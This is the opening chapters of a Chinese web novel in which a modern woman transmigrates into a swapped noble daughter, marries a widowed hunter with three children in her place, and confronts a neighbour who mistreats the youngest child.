《千金替嫁,猎户大叔轻点宠》
第1章 穿成假千金
何若若刚刚醒来,正努力消化着刚刚挤进脑中的信息,就听到了一阵争吵声。
“我不管,反正不能让我的亲生女儿嫁给一个猎户!还是个带着三个孩子的老男人!”
“如果美美不嫁,她养母那边已经收了人家的聘礼,足足有三百两纹银!人家对方说了,不要银子,只要人!否则就去报官!”
“美美已经在乡下吃了十几年的苦,过了十几年的苦日子,我怎么忍心再把她推进火坑!”
“可是娘子,若若也是我们从小养到大的女儿,你忍心让她去吗?她自小娇生惯养,如今又为了这件事,撞墙明志,你让我怎么办?!”
“我不管,反正美美不能去!她是我身上掉下来的肉啊!”
何若若隔着粉色的床帐,看着坐在床边,正在压低声音争吵的中年男女。
男子浓眉大眼,脸型方圆,嘴唇偏厚,穿着一件圆领窄袖袍,腰间束着一条碧玉的腰带,越发显得腰身粗壮。
女人细眉杏眼,肤色白皙,穿着一身酒红色的襦裙,头上戴着红宝石的发簪,正拿着帕子抹眼泪。
是了,这应该就是她的养父养母了。
而原身就是那个被抱错的孩子,阴差阳错下,在这永平侯府过了十几年不属于自己的官家小姐的富贵生活。
已经穿书两天了,自己原身因为撞墙拒婚,头上肿了好大一个包,淤血久久不散,因此才一直昏迷。
而她,现代的何若若则是在上班的路上,为了救一个孩子,被车撞死,穿书而来。
还是穿在一个假的千金小姐身上。
真的千金小姐林美美一个月前,找上门来,说自己才是这永平侯府的大小姐,还有当年的襁褓、玉佩等信物,而且,还有当年的接生婆为证。
何家原本也是不信,但看到林美美第一眼,大家都信了。
因为,林美美与永平侯何峻峰简直就是一个模子刻出来的。
同样的方面厚唇,浓眉大眼,还有同样的微胖身材。
当年何峻峰带着妻子回老家省亲,谁知天降暴雨,电闪雷鸣,妻子李兰受到惊吓,就在半路的一个土地庙生下了孩子,当天还有一个农妇也在土地庙生了孩子,不知为何,两家抱错了孩子,才有了今日这真假千金。
真千金大小姐林美美十几年来,一直生活在贫苦的乡下,回到侯府之后,假的千金小姐何若若又害怕自己被从侯府赶走,去乡下过苦日子,因此日日在家中撒泼打滚,闹腾不休。
更重要的是,此时的何若若已经和承恩侯府的世子魏天赐定下了婚约。对方在知道何若若是假千金之后,就已经在犹豫。
永平侯府原本想着不就是两个女儿吗?大不了一起养着!
谁知,林美美的养父母也在家里给她定下了婚事。对方是个猎户,带着三个孩子!而且林美美的养父母家还收了人家三百两银子的聘礼!
三百两!
这在乡下,哪怕是在侯府也不是个小数目!就连何若若在永平侯府每月的月银,也只有十五两而已!
后来,林美美不知哪里得来的自己身世的消息,死活不嫁猎户,偏偏她的养父母也不退银子!
这一下可惹恼了猎户,人家放出话去,绝不收回聘礼,必须林美美嫁过去,否则就去报官,鱼死网破!
永平侯夫妇商量了半天,才有了让何若若替嫁的主意,他们决定让养女何若若改回自己的姓氏,改名林若若嫁过去,嫁给那个猎户。
而林美美回到侯府,改名何美美,顶替何若若嫁到承恩侯府。
原主听说了这件事,当即气急攻心,撞墙明志,一时之间,京城里传的沸沸扬扬。就连永平侯府都没了面子。
再加上原本的林若若一向娇生惯养,性格蛮横无理,为此,何府很快就将林若若送回乡下亲生父母家。
回到林家,林若若原身很快嫁给了猎户。为了宣泄心中的不满,她趁猎户不在家,日日**三个孩子。最终最小的孩子被**致死,原身也被猎户打残,死在了一个风雪之夜。
多么狗血的剧情!
穿过来的林若若这几天在床上躺着,要死不活,她恨哪!
她刚刚继承了姥姥留下的一大笔遗产,辞职还乡,准备过躺平的养老生活,还把姥姥留下的小院,按照自己的喜好装修完毕,结果还没住进去,就被车撞了!穿来这个倒霉的世界,还成了一个假千金!
俗话说,来都来了,事情都到了这个份上,自己也不能再逃避。
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家里人更偏心何美美,所以自己即使留在侯府,也会被人看不起。不如主动离开,还能给大家留个好印象。
“爹娘,别哭了,我去。”林若若开口了。
房间里安静了几秒,何峻峰、李兰夫妇才发现若若已经醒了!
她的床帐被猛地打开,李兰冲过来,坐在她的床头,拉着她的手,愧疚地说道:“若若,是爹娘对不起你!也谢谢你成全美美,她这十几年在乡下吃了太多苦了~”李兰说着,就哭了起来。
“娘,你们把我养大,就已经是莫大的情分了。魏世子那里,你们和人家好好说。”
林若若看着养母有些躲闪的眼睛,无声地叹了口气。
魏天赐,那可是一个纨绔!当初两家的祖父定下婚约,他也是看过林若若才同意的。
毕竟,林若若原身的确是个倾国倾城的美人。
“魏世子那里,你爹会去的。那咱们就说好,明日一早,就送你回乡下去。”李兰抓着林若若的手,急切地说。
“若若放心,爹会处理好的。这一千两银票你先年拿着。以后缺银子,就给爹捎信。”说到这里,叶峻峰红了眼眶。
毕竟,这也是自己养了十几年的闺女。
“爹娘放心,我会给你们写信的。”林若若看了看红着眼睛的爹娘,慢慢闭上了眼睛。
他们说的是捎信,不是去看你,也不是你再回来~
林若若闭上了眼睛。
三日后,就是林若若和猎户成亲的日子了,拖不得了。
李兰出门的时候,回头看了一眼躺在床上的林若若,最终还是脚步匆匆地离开了。
人走了,林若若才睁开眼,慢慢下了床,把房里自己的东西全都收拾出来,打包,准备带走。
自己原本有两个贴身丫鬟,自从知道自己是个假小姐之后,就已经主动跑到何美美身边伺候去了。
林若若冷笑一声,收拾完自己的衣衫首饰,又拿出钥匙,打开自己放银子的小箱子,里面是自己攒下来的月例银子,数了数,这么多年,总共才攒下三百二十两银子!
小木箱下面除了银子,还有一个用红布包着的东西。
林若若眼前一亮!
是它!
找到了!
第2章 穿书遇重生?
林若若要找的是一个玉镯,一个青玉镯。
原书中写过,这个玉镯有个秘密,原身并不知晓,后来离开侯府的时候,被何美美用一百两银子换走了。
后来,何美美依靠玉镯空间,过上了一辈子锦衣玉食的幸福生活。而林若若则早早就惨死在乡下。
这个玉镯是林若若在街上,救了一个险些被马车撞到的乞丐给她的,放了许久了。
打开红布,拿出玉镯,戴到手上。
林若若咬破指尖,把鲜血滴到玉镯上。
只见一道金光闪过,玉镯就在她的手腕上不见了!
林若若摸了摸手腕,随后眼前一黑,自己就来到了一个陌生又熟悉的地方!
这里安静极了,连空气的流动都没有,四周一片雾蒙蒙的,一座小院静静地出现在那里。
林若若欣喜若狂!
因为这就是那个姥姥留下的小院!她把小院改建成了一个两层的小别墅。
一层是客厅、厨房、饭厅加两间客房,二层是书房加两间卧室,每个卧室都有独立的厕所和干湿分离的洗澡间。
最关键的是,姥姥这个院子中间有口井,院子后面有一个大地窖。她在里面放了两台大冰柜,两台**门冰箱,都是从旧货市场收的,里面囤满了各种吃食。
地窖里还有很多的东西,是林若若从城里回来的时候,带回来的各种小家电网,五金,床上用品等等。她还在网上买了不少东西,也不知道还能不能收到快递。
“姐姐,你在房里吗?”外面突然传来何美美夹着嗓子说话的声音。
“我要出去!”
林若若心里想着,瞬间就出现在了自己的房间里。然后从梳妆台的桌子上,快速拿了一个相似的玉镯放进了刚刚的银箱里。
“进来吧。”林若若坐在椅子上,倒了杯茶。
何美美推门走了进来。
今日她穿了一件桃花织锦的粉色齐胸襦裙,料子和款式都是当下京城最流行的头上戴着成套的蝴蝶首饰。看得出来,她在府里极得宠的。
“姐姐,你明早就要走了,我来给你送行。”何美美把一个小木盒放在她面前。
打开,里面是一副蓝宝石的头面。
一看,就不是十七八岁的少女佩戴的款式。
林若若笑了,真是一点都不装了。
“多谢妹妹,那姐姐就收下了。”
“姐姐,你也送我个首饰做念想吧。我听说你的银箱里有一个青玉的镯子,给我那个就行。”何美美往她的梳妆台上看了一眼,果然看到了那个小木箱。
林若若走过去,打开,拿出刚刚放进去的手镯,递给她,“是这个吗?这就是一个普通的玉镯,如此老旧,款式也过时了,配不上如今的妹妹的。不行不行,妹妹,你再挑一个别的吧。”
“姐姐,我给银子!一百两!我就喜欢这个!”何美美急了!
“一百两?这个玉镯不值一百两的!”林若若无声地翘了翘嘴角,拿着玉镯就要往自己手腕上套。
“那三百两!我要了!”何美美递上银票,一把抢过玉镯,头也不回地走了!
林若若的眼神闪了闪~
银箱,玉镯~
自己这个好妹妹知道的太多了吧~
呵呵,这个何美美,莫不是重生而来?
林若若有一瞬间的心惊。
算了,不想她了。她过她的阳关道,我走我的独木桥。
坐在马车上,林若若想着那个猎户的信息。
猎户老男人名叫赵长风,今年应该三十了,有两儿一女三个孩子,之前娶过一个老婆,结果不知为何,那女人跑了!
因为他时常进山打猎,有时候也出去打短工,所以急需一个女人来照顾三个孩子。
打听到邻村林家的名声不错,就托人去说亲,并明确表示成亲后,不会再要孩子。没想到当时的林美美居然同意了,家里还收了人家的巨额彩礼。
谁知一个月前,林美美上山摔了一跤,醒来后,就死活不愿意嫁给赵长风了。这才有了后面的事情。
想到这里,林若若无比确定,这个何美美是重生而来。
但,那又如何?
无痛当妈,也很好的呀~
再说了,就古代这种医疗条件,生孩子?那不是找死的吗?
马车一路上摇摇晃晃,终于在第四日的上午来到了赵家村。
没错,林若若没打算先回林家村,因为时间来不及了。
她害怕这个赵长风做出什么极端的事情来,所以直接来到了赵家村。
村口的大槐树下,三五个阿
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婆一边在那纳鞋底子,一边在有一搭没一搭地说着村里的家长里短,八卦消息。
林若若从箱子里拿了一包糖出来,下了马车。
她一下车,立刻就吸引了这些阿婆的注意。
“哟,这是谁家的女子?长得这么水灵?”
“就是,看这样子,像是城里哪家的千金大小姐。”
“长得真好看哪!你看她那裙子,在阳光下好像还闪光呢!”
几个老太太正接头接耳,就听到一个好听的声音传来,“几位阿婆,请问赵长风家怎么走?”
林若若穿着青绿色的交颈襦裙,穿着同色的斗篷,头上松松地挽了一个清风髻,插着一支珍珠步摇,俏生生地站在那里。
“这位姑娘,你找赵长风作甚?”一个圆脸的阿婆八针尖在头顶划拉两下,问道。
“阿婆,我是他新娶的娘子,我叫林若若。来,请阿婆吃喜糖,甜甜嘴儿~”林若若赶紧拿着糖,挨个阿婆分了两块。
“哎哟,你看看长风那小子,这是走了桃花运了,娶了个天上的仙女来了!”
“就是!看人家小姑娘长得真好看呐!长风这是祖坟冒青烟了!”
几个阿婆把若若夸得都害羞了。
“狗蛋、鸭蛋你们来!”一个阿婆笑呵呵地冲旁边的院子喊道。
只见院里飞奔出两个男孩,来到阿婆面前,阿婆吩咐他们,“这个姨姨是你长风叔新娶的婶婶,赶快前边带路,把婶婶送到你长风叔家里去!”
“好来!漂亮婶婶,跟我们来吧!”两个小家伙用袖子一抹鼻涕,撒开脚丫子就往村里跑去。
“跟上去吧。”林若若上了马车,对车夫说道。
“那咱们就快点,我还得再回京城去呢!这地方也太破了!烦**!”车夫看到这个,小声嘀咕道。
两个孩子在村西头一座独门独院的房子前停了下来。
“姨姨,这里就是长风叔的家了!”两个孩子拉着大鼻涕,笑得欢实极了。
林若若下了马车,拿出帕子,给两个孩子擦了鼻涕,又一人分了一块糖,和颜悦色地说,“谢谢你们啦!”
两个孩子就欢笑着,一路跑走了~
林若若站起身,刚想去马车上拿东西,就发现车夫已经赶着马车,走了!
第3章 硬闯进赵家
林若若看着义无反顾飞奔而去的马车,气得恨不得问候他祖宗十八代!
看着自己的东西,被乱七八糟地扔在了地上,林若若牙都痒痒了!
还真是人走茶凉~
想当初,她还是侯府小姐的时候,这个车夫鞍前马后,周到极了,如今竟然也是这副嘴脸!
叹了口气,林若若把东西收拾好,走上前去,敲了敲门。
谁知,门里突然传来一阵撕心裂肺的哭声,伴着一声声女人的咒骂~
“一个小丫头片子,不省心的玩意!嚎什么嚎!有饭吃还哭,哭个屁!”
“闭嘴!再哭,我打死你!”
“快给老娘闭上嘴!”
随后,传来一声沉闷的拍打声,里面的哭声顿时小了~
林若若一听,急眼了!四处看了看,没人!
于是提起裙摆,上前一脚,就朝门上踹去~
“哎哟~!”
林若若冷哼一声,结果门没踹开,脚还麻了!
里面孩子的哭声压抑又痛楚,林若若踮着脚,“咚咚咚”地拍门!
“开门!有没有人在家?!”
“有人敲门,给我闭嘴!”里面传来压着嗓子说话的声音。
门开了。
一个圆脸小眼,看着慈眉善目的中年女人开了道门缝,露出脑袋来,看了林若若一眼,假笑一声,“姑娘,你找谁?”
林若若透过门缝,隐隐约约看到院子里,一个孩子坐在地上,头发乱蓬蓬的鸡窝一样,还有小声的抽泣声。
“这里是赵长风的家吗?”听到了刚才的事情,林若若对这个女人没多么客气。
“是。你是谁?长风不在家。”
“我是赵长风刚娶的妻子,隔壁林家村的林若若。开门,让我进去吧。”
中年女人的眼睛顿时瞪大了!
“谁?隔壁林家村?林若若?没听说过?!”说完,女人“咣啷”一声把门关上了。
接着,院里又传来动静:“丫头,听见了没有?不听婶娘的话,你爹就要给你们娶个后娘回来!好了,别嚎了,快来吃饭!”
林若若看了看头顶的太阳,应该才十点多,她咬了咬牙,又开始敲门,不停地敲门。
“咣啷!”门又开了,女人走出来,叉着腰,不耐烦地说道:
“敲什么敲!赶着投胎啊?!我都说了,没听长风说起过你!赶快走!别耽误**活!”
林若若想了想,从腰间的荷包里,拿出一个狼牙做的手链,“这是赵长风送我的聘礼,阿婆看看,可认得?!”
那女人一看,脸色立刻就变了,这狼牙手链,全村人都认得。
“即使你是他新娶的娘子,可他不在家,你等他在家的时候再来吧!”说完,转身就要进屋。
林若若走上前,无声地翘了翘嘴角,看着女人的眼睛,压低声音说道:
“你不让我进去,等他回来,我就告诉他,你**他的孩子!”
女人被吓了一跳,不自觉地往后退了一步,脸色顿时发白,“你可不能乱说!小孩子哪有不哭的?!”
“那就让我进去!”
“好好好,你进来吧!穿的像个大家闺秀,没有明媒正娶,却自己上门,真是掉价!还要脸不要?!”女人嘀嘀咕咕,白了林若若一眼,打开了门。
林若若笑了~
老虔婆,还治不了你!
看着长得慈眉善目,没想到背后干的都是些缺德的勾当!
林若若先把自己的小银箱找出来,进了院子。
这就是一个普通的农家小院。
院子很大,用碎石铺了一条小路,直通正房,小路旁边都是泥地,靠着墙角,长着许多野草,杂乱无章。院子的右边,搭了个简易的棚子,杂乱地放着许多的柴火。
院子的右边房檐下,楔进了许多木楔子,挂着许多打来的猎物,有肉,也有硝制好的动物皮**。侧房是个厨房。
院墙很高,是用黄泥土坯垒的,顶上稀稀疏疏地长着很多狗尾巴草,在这四月的春风中摇摆。
正房有五间正房。
中间一个打通的客厅,一个放了杂物,左右两边应该都是卧房。房子也是土墙,房顶上除了一些破旧的瓦片,还有地方盖着茅草。
木格子的窗棂上糊着泛黄的棉纸,有不少灰色纸的补丁。
正房的左边是厕所,还有洗澡间。
右边是厨房和柴房。
院子里,摆着一个竹凳子,还有一个竹桌子,桌子上放着一个缺了口的瓷碗,一个木
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勺,里面装着灰灰的饭,还有几棵绿色的菜叶。
一个全身脏兮兮的女孩坐在地上,大概两岁左右,眼里都是泪,脸上还有几道灰色的泪痕,头发乱蓬蓬的,鸡窝一样,只在脑后胡乱扎了一个啾啾。
身上的衣服应该是红色的,现在已经快变成黑的了,而且袖子明显短了。
看到这一幕,林若若眼眶突然一热,这应该就是赵长风的小女儿赵小静了。
孩子前一世死在了原主手里,没想到,这一世依然过得如此凄惨。
那个女人在凳子上坐下,拿起碗,就给小静喂饭,
“左手边是长风的卧房,右手边是孩子的卧房。你先搬到长风那屋住吧。对了,我娘家姓王,你喊我王婶就好。就住你家隔壁。长风这几天进山打猎了,他回来你可不能瞎说。我日日给三个孩子做饭,也辛苦得很。”
王婆子一边随意地给小静喂饭,一边在那絮絮叨叨。而孩子则一直在小声哭,就是不张嘴,不吃饭。
“王婶,你把饭放那吧,一会儿我收拾好,我来喂孩子。”林若若终究是心软了。
“那敢情是好。那一会儿你先喂小静,我回家一趟给我家大宝做个饭。”王婆子立刻放下碗,狠狠剜了一眼正在哭泣的孩子。
“行,王婶你去忙。孩子我看会儿。”林若若很快把自己的东西搬进了赵长风的卧房。
这房间,林若若看一眼,都觉得浑身疼。
一张大木床,上面一套薄被褥,一个硬枕头,外加一张床头桌放东西,两个木箱子。然后再无其他。
林若若先把自己的东西放到桌上,解下披风,换了一身家常的衣裙,出了门。
“那我先走了,你喂小静吃饭吧。”王婆子看到林若若出来,匆匆忙忙就出了门,手里好像拿了什么东西。
“小静,莫哭了,来,娘喂你吃饭。”若若从灶台边又拿了一个小凳子,把孩子抱到凳子上坐好。
林若若自己也没想到,娘这个字,如此轻松就从自己嘴里说了出来。
端起饭碗,若若用木勺把白米粥搅了搅,却听到了轻微的石头和瓷碗的摩擦声~
白粥!
大米粥!
林若若觉得自己的牙开始疼了~
第4章 白粥会咯牙?!
用木勺舀了一口粥出来,里面果然有细小的石子,难怪孩子不吃,咯牙呢!
这个老虔婆,真是太坏了!
“小静莫哭,娘给你做好吃的!”林若若把碗里的饭放回橱柜,领着小静,拿着凳子来到了灶间。
灶间有一口铁锅,还有几个炉子。
只可惜,灶台那头没有火炕,只有床。
林若若虽然现代在城市工作,但小时候一直跟着姥姥生活在乡下,为此,这种灶台,她轻车熟路。
“小静,你帮娘看着火会不会呀?”若若温柔好听的声音传来,小静也不哭了,乖乖坐在灶台前,小声说,“会。”
“嗯,小静真棒!”
点上火,灶台里放进木头,锅里加了一大锅水,大火烧着,若若开始在厨房**蛋。
“小静,娘想给你蒸个鸡蛋羹吃,你知不知道家里的鸡蛋在哪里放着呀?”若若蹲在小静面前,看着孩子哭肿了的眼睛,轻声说道。
小静看着林若若,然后转身,指了指里面的柜子,“里面。”
“好孩子,真棒!”
厨房里有一个木质的橱柜,若若打卡一看,里面有碗筷,有五个鸡蛋,有小半袋子大米,有半袋子白面,还有拳头大小的一块肉。地上的筐子里,有几棵干巴了的野菜。
很是丰盛。
拿出两个鸡蛋,洗了洗地上的野菜,若若打算给小静蒸个鸡蛋糕,自己再烙张鸡蛋饼,就当午饭了。
往灶台里又塞了几块木头,火烧的更旺了。很快锅盖缝里开始冒热气了。
“小静家里有没有洗澡盆?”林若若实在是受不了孩子这么脏。
赵小静想了想,摇了摇头。
林若若没有办法,就把洗脸盆拿了过来,舀出热水,兑上凉水,端到了旁边的洗澡间。
然后把鸡蛋敲到碗里,打散,然后打开锅盖,舀出半勺热水,加到蛋里,继续搅拌,然后撇去浮沫,加上一点点盐,放上锅梁,开始蒸蛋。
利用这个空,林若若想给赵小静洗个澡。
孩子实在是太脏了!
没找到家里的皂角,林若若从空间偷偷把洗发水、沐浴露拿出来,从头到脚给孩子洗了个澡,足足用了一大锅的热水,才把赵小静洗干净。
看着孩子身上深深浅浅的青紫痕迹,林若若心疼极了,“小静,身上这里怎么弄的?”
赵小静吓得往后缩了缩,头紧紧地低着,全身开始颤抖。
“小静莫怕,娘不问了!”
林若若叹了口气,从箱子里给孩子找了一套粉色的衣裳换上,林若若这才把孩子抱进怀里,果然香香软软的了~
把头发用布巾擦了擦,又让孩子坐在灶台前烤着火,小静的头发很快就干了。
林若若从空间拿了两根粉色的发带给小静梳了两个团子头,又把粉色的发带系成蝴蝶的样子,一个干净、可爱的小姑娘就出现在林若若面前。
“哎呀,我家的小静真好看呀!”若若在她的小脸蛋上的亲了一口,满脸都是笑意,“好啦,现在咱们吃鸡蛋羹好不好?”
小静慢慢抬起头,看着眼前笑意盈盈的少女,怯怯地害羞地点了点头。
若若打开锅盖,用布巾垫着拿出蒸鸡蛋羹的碗,倒上了几滴味极鲜,顿时香味扑鼻。
“来,小静,咱们吃鸡蛋羹啦!”林若若拿着勺子,要喂给她。
“自己吃。”赵小静突然说道。
“你会自己吃?”林若若有些惊讶。
“会的。”小静声音怯怯的,却用力点了点头。
“那为何要王阿婆喂你吃?”林若若有些不解。
“不好吃,小静不吃,她就喂!”小静慢慢地说道,眼眶里还有眼泪打转。
林若若的眼睛也红了。
没妈的孩子像棵草。
“小静真是个好孩子,来,咱们自己吃!使劲吃!吃饱饱的!长高高的,好不好呀?”
“嗯!”
林若若把房檐下的小桌搬进来,把碗和勺放在她面前,摸了摸她柔软的发顶,轻声说道,“吃吧!娘做的鸡蛋羹可好吃了!”
小静拿着木勺,颤巍巍地挖了一勺鸡蛋羹,歪歪扭扭地送进了嘴里,
“好吃!”
小家伙的眼
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睛立刻亮了起来!那双好看的杏眼荡着笑意。
“吃吧!乖~”
揉了揉她的发顶,林若若拿出一个大碗,盛了半勺面粉,敲了一个鸡蛋,又切了一棵青菜,放上盐,十三香,搅拌均匀。
之后,把锅里热水舀出来,灶台加木头,锅里加油,把搅拌好的面糊倒进锅里,用木铲摊平,翻面,很快,一张鸡蛋饼就出锅了。
“小静,来吃鸡蛋饼。”林若若端着饼,“要不要?”
“肚肚饱了,吃不下了。”赵小静的腮帮子鼓鼓的,像只可爱的小兔子。
林若若还是不忍心,撕了一个饼尖尖,塞进她的嘴里,“尝尝吧。”
看着小静怯怯的笑脸,林若若也开心了许多。吃完饼,林若若去空间拿了瓶矿泉水喝了。
古代的水好像是从村口的河里挑来的,林若若不敢喝。
林若若从空间拿了一副木头积木,放到小静面前的木桌上,“小静,这是积木,可以盖房子,搭桥,你先玩着,娘去收拾收拾东西,好不好?”
“嗯。”孩子乖巧地点了点头,就去玩了。
趁着这个时间,林若若把自己的东西大部分收到了空间,一小部分放进了赵家的箱子里。
又从空间拿了一床厚厚的床垫,一床厚厚的褥子出来,铺到了卧房的床上。
同色系的红色床单、被罩、枕套全都安排上,软枕头、蚕丝被,外加同色系的红色床帐挂上,这简陋的破败的泥坯房也瞬间有了新房的感觉。
太硬了,实在看着就难受。
收拾好,若若满意极了,回头看了一眼灶间玩积木的小静,发现孩子已经打瞌睡了。
林若若笑着摇了摇头,抱起小静,上了自己刚铺好的床。
“睡吧,娘在这陪着你。”摸着她的小脸蛋,林若若给她盖上被子,孩子瞬间就睡过去了。
林若若去把院子的大门关好,厨房收拾好,碗筷洗好,换上睡衣,也睡了过去。
坐了三天马车,实在太累了。
“咚咚咚”~
睡梦中,林若若被一阵敲门声惊醒~
第5章 赵长风本人?
她猛地从床上坐起来,仔细听了听,确实有敲门声。看了看空间里的钟,三点了。
穿好衣服,林若若匆匆走到了门口。
“王婶开门!是我!”门外,一个清越的声音传来。
“你是谁?”林若若在门里问了一句。
“你不是王婶,你又是谁?”门外的男人也问道。
“开门,我是赵长风。”
林若若一听,心头一颤!
他怎么回来了?
“哦~哦~”林若若赶紧打开门。
“你是林美美吧。”赵长风扛着一个袋子,凌厉的眼神看向眼前的少女。
林若若愣了一下,随后赶紧摇头,“我不是林美美,我是林若若。”
进了门,正在解袋子的赵长风顿时愣住了,他慢慢直起腰,眯了眯眼睛,冷冷地说道:“我要娶的不是林美美吗?”
林若若正要解释,就听到王婶那熟悉的声音传来,“就是,这就个冒名顶替的假货!”
就见王婶从门口匆匆忙忙进来,朝着林若若狠狠翻了个白眼。
“王婶。”赵长风看了她一眼。
“长风回来了?我就说她是个假的吧?上午哐哐哐地砸门,非说是你新娶的娘子,要住进来,还拿出来了你的那个狼牙手链,我没有办法,才放她进来的,把小静都吓哭了!”王婶开始恶人先告状。
“赵长风,我和林美美是从小抱错了的,我原本才是林家的女儿,她已经回到京城的侯府,去做千金小姐了,不可能再嫁给你了。而我也从侯府回到林家,履行婚约嫁给你。怎么,你不同意?”林若若尽量用简洁的语言把事情说明白。
结果,赵长风没说话,王婶开始了,“我就说吧,到了乡下,还穿的跟千金大小姐一样,你看那手嫩的,在咱们这,怎么洗衣做饭,下地干活?怎么带孩子?哎~”
王婆子一边数落者林若若,口水一边到处飞。
林若若似笑非笑地看了赵长风一眼,顿时就笑了,“王婶处处反对我嫁进来,怎么王婶有更好的人选?愿意嫁进来,带三个孩子,还不生自己的孩子?”
王婆子顿时一噎。
赵长风冷冷地看了一眼旁边的王婶,“我家的家事,就不劳王婶费心了。林若若是吧,你先住下吧。”
“嗯。”林若若应了一声,不再说话。
“这是我在山上打的野鸡,先送回来,到时候给孩子们炖点肉吃。”赵长风看了看娇俏可爱的林若若,眼神闪躲了一下,嘱咐道。
林若若刚要开口,就见王婆子两步冲上来,伸手就去拿装野鸡的袋子,笑得脸上的褶子都挤到一起去了,
“长风,你放心,你王婶一定让三个孩子吃上鸡肉!”
“等一下!”林若若突然出声拦住了王婆子。
她看了一眼赵长风,冷笑一声,“王婶,我已经来了赵家,我会照顾好三个孩子,就不劳你费心了吧。”
王婆子的手在空中顿了一下,之后看着赵长风,满脸带笑地说:
“长风,这个林小姐可能确实喜欢孩子,但她毕竟是个娇滴滴的千金小姐,说不定在侯府的时候,身边还得丫鬟伺候,所以哪里会烧火做饭带孩子?你王婶那可是带大了三四个孩子的人!自然是比林小姐有经验一些的。你说是不是?”说完,伸手就要去拿袋子。
赵长风明显愣了一下,之后看了看林若若,又看了看王婶,“林若若,先让王婶把鸡炖了,晚上赵林赵峰放学,也能吃上。那就麻烦王婶了。”
说完,转身就要走。
“对了长风,这个月的银子该给了吧。”王婆子朝着赵长风伸出了手。
“哦,到日子了是吧。”
赵长风从随身的荷包里掏出一两碎银,放到了王婶手上,然后想了想,又拿出五两银子,递给了林若若,
“家里需要什么,你就去镇上买。不知道怎么去,就让王婶带你。我走了,大概还得三四天才能回来。家里和孩子们,你们照顾好。”
林若若看了看他被勾破了的衣角,还有快露出脚趾头的鞋子,温和地说:“知道了,我会照顾好家的你放心。在
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山上也注意安全。”
赵长风惊讶地看了看眼前的少女,眼中满是惊讶。看这姑娘的样子,气质和打扮,那必定是京城大户人家长大的。
如今,嫁给了自己一个猎户,真是可惜了!但不知为何,自己心头还有一丝丝隐隐的快乐~
赵长风走了,王婆子把银子放嘴里咬了咬,满脸笑容,“林若若是吧,以后我就叫你若若,你先回屋看孩子去吧,我把这野鸡收拾一下,先炖上。”
林若若想了想,嘴角含笑,“那就麻烦王婶了,可是家里没有剁肉的刀,怎么办?”
“我家有,我回去拿。”说完,王婶转身就回家拿刀去了。
林若若趁这个功夫,把袋子打开,里面果然是三只野鸡。
她已经想明白了,赵小静天天吃的那么差,身体那么瘦,身上还有伤,必定是这个王婆子做了手脚。
厨房里肉蛋菜都有,可孩子吃的那简直猪狗不如,那些好吃的,必定被她偷走,带回自己家去了,这些手段,在豪门大户里多的是,她一眼就能看出来。
况且赵长风每月还给她一两银子,比去镇上扛包的男人赚的都多。
可是,自己没有证据,自己又和赵长风不熟,他怎么会相信自己呢?
哎,愁**了~
林若若想了想,这次不行,还有下次,慢慢来,这种贪心之人,必会再次伸手,总能抓到她的小辫子的。
想到这里,她把其中两只野鸡收进了空间,留下一只,然后又系好了袋子。
这时,屋里传来小静的哭声。
“小静,娘来啦,莫哭,娘在呢!”林若若上床,给孩子擦了擦眼泪,小丫头赶紧扑到若若怀里,搂着她的脖子,不哭了。
“小静真乖!”
给小静穿好衣服,扎了辫子,系上可爱的蝴蝶结,林若若把抱下了床,“去吧,去玩会积木。”
小丫头就歪歪扭扭地走向灶间的小桌子,玩积木去了。
王婶那已经打开袋子,拿出野鸡边剁肉边嘀咕,“怎么只有一只鸡!”
第6章 如此难吃的鸡
王婆子想到这里,还不怀好意地看了看林若若。
林若若被气笑了,“王婶,难不成我还偷吃了一只不成?对了,你什么时候炖鸡啊?”之后似笑非笑地看着她。
“现在我就炖。你把这丫头带院子里玩去,别在这碍事!”之后狠狠剜了小丫头一眼。
她的语气一变,小静立刻吓得低着头不敢动弹,两只小手扭在一起,抠着自己的手指甲。
“那王婶赶快做吧。另两个孩子回家就要吃饭呢!”林若若的语气也不好,这老太太太嚣张了。
把桌子凳子搬到正屋,林若若带着小静玩了会儿,太阳也渐渐下山了。
炊烟袅袅,锅里的鸡肉也散发着诱人的香味。
小静拉着她,歪歪扭扭走到大门口。
不远处,两个穿着青色的书生服,瘦的麻杆一样,各自背着一个小背篓的男孩出现在了视线里。
小静看到了,激动地冲着两人挥手,“哥哥哥哥!”
两个男孩,看着一个七八岁,一个五六岁的样子,长相很是清俊,眼睛很大,却各个瘦得皮包骨头一般,看到小静的瞬间,两人都露出笑容,直奔过来。
“妹妹!妹妹今天好漂亮!”
“还香香的!”
“赵林赵峰回来了。”王婶从厨房出来,很是慈爱地看着两人。
看到阿婆出来,两人立刻就没了笑容,不敢直视王婶的眼睛,还下意识地都站到了小静的前面。
“这是林若若,是你们的后娘,你爹刚娶的。好了,今晚吃鸡肉。”王婶冲着林若若挑了挑眉梢。
“既然饭已经做好,那请王婶回家吧。今晚我在家里,就不劳王婶费心了。”林若若走上前,看着王婶明显粗了一圈的腰身,眨了眨眼睛。
“我说林若若,我可是长风雇来专门照顾两孩子的,晚上睡觉我也得在,晚饭也得管我吃。你刚来,有什么权利赶我走?”
王婆子昂着头,叉着腰,就像一只骄傲的走地鸡。那黑黄的牙齿看的林若若一阵阵反胃。
“既然我是长风娶回来的娘子,那这个家就是我说了算。说到底,你不过是长风雇的人,也就是赵家的下人,你有什么资格在这唧唧歪歪?!今天已经付给你银子了,把你腰里的东西赶紧带走,再叽歪,莫怪我不给你面子!”
林若若也烦了!
“哼!回就回!你自己照顾这三个拖油瓶白眼狼吧!”说完,王婶就气呼呼地走了。
看着她明显粗了的腰身,林若若冷笑一声,上前一步,拉住她的衣袖,
“王婶,我告诉你,你往自家顺东西,今儿就是最后一次,你若是再有一次,我就让赵长风辞了你!你好自为之!”说完看了看她鼓鼓的腰间,嘲讽地笑了笑。
“你说啥呢?!你一个丫头片子赔钱货,可别污蔑我,当心我给你好看!”王婶说完,朝林若若手背上狠狠拍了一巴掌,之后脚步匆匆地出了赵家。
林若若的手背顿时就红肿了起来。
“你以为自己是谁?为何要赶走王阿婆?你赶走她,明天小静怎么办?!你个坏女人!”圆脸的赵林眼神凶狠地看着林若若,握紧了拳头,冲她吼道。
林若若赶紧解释,“无妨,我会在家里带好小静的。好了,洗手准备吃饭吧。”
“用你管!后娘没一个好东西!狐狸精!”长脸的赵峰抱起小静,就往屋里走去。
林若若被气笑了。
还真是白眼狼呢~
也罢,既然给好脸你们不要,那就是吃不得好粮食了。
